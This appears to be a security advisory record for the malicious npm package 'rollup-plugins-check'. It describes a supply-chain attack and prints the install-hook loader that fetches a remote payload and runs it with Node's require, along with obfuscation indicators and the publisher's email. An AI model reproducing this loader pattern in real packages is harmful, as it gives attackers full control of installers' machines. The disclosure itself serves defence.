VDB
GCVE-110-OSM-2026-9802
GCVE-110-OSM-2026-9802
Advisory PublishedCVSS 9.6/10
The entrypoint file `dist/module.js`, executed unconditionally via `postinstall: node dist/module.js`, contains a literal remote-code-execution loader: `https.get("url", {rejectUnauthorized: false}, res => res.on("data", data => {const handler = new Function('require', data.toString())(require);}))`. This fetches an arbitrary payload from an attacker-controlled Vercel endpoint and executes it with full Node.js `require` access, giving the remote payload unrestricted filesystem, network, and process capabilities. This is a textbook supply-chain attack: install-hook → remote fetch → eval-with-require. The publisher account (buzzigood / BuzziGoodin371@hotmail.com) has zero other packages and no linked repository, consistent with a throwaway account created for this campaign. The dependency `debug` is also independently flagged as known malicious, suggesting intentional poisoning of the dependency graph. The polyfill bundle appears copied from legitimate sources as cover.
ENTRY
dist/module.js (install-hook: node dist/module.js)
- Install Hook Executes Local JS File in package.json
DESTINATION
- 67 exfil (custom-c2)
(values recorded in verified_iocs)
EXFIL
- Data Encoding for Exfiltration in dist/es/polyfills.js: "encodeURIComponent(stringifyPrimitive(k)) + eq;\n if (isArray(obj[k])) {\n retur..."
- Dynamic C2 Endpoint Construction in dist/es/polyfills.js: "function blobConstructor() {\n if (typeof _blobConstructor !== 'undefined') {\n ..."
- Data Encoding for Exfiltration in dist/polyfills.js: "encodeURIComponent(stringifyPrimitive(k)) + eq;\n if (isArray(obj[k])) {\n retur..."
- Dynamic C2 Endpoint Construction in dist/polyfills.js: "function blobConstructor() {\n if (typeof _blobConstructor !== 'undefined') {\n ..."
- Network Request in dist/module.js: "https.get("
OBFUSCATION
- Obfuscation patterns: charCodeArrayBuild, charCodeChain in dist/es/polyfills.js
- Obfuscation patterns: charCodeArrayBuild, charCodeChain in dist/polyfills.js
ADDITIONAL FINDINGS
- Dynamic Code Execution in dist/es/polyfills.js: "eval(code)"
- XOR-Encoded String Arrays in dist/es/polyfills.js: "var bl_order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15..."
- Malicious Dependency Detected in package.json
PAYLOAD FILES
dist/es/polyfills.js (+ dist/polyfills.js)
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | rollup-plugins-check | all (affected) | — |
Browse GCVE Records
67,407 records in the GCVE database · Updated August 11, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.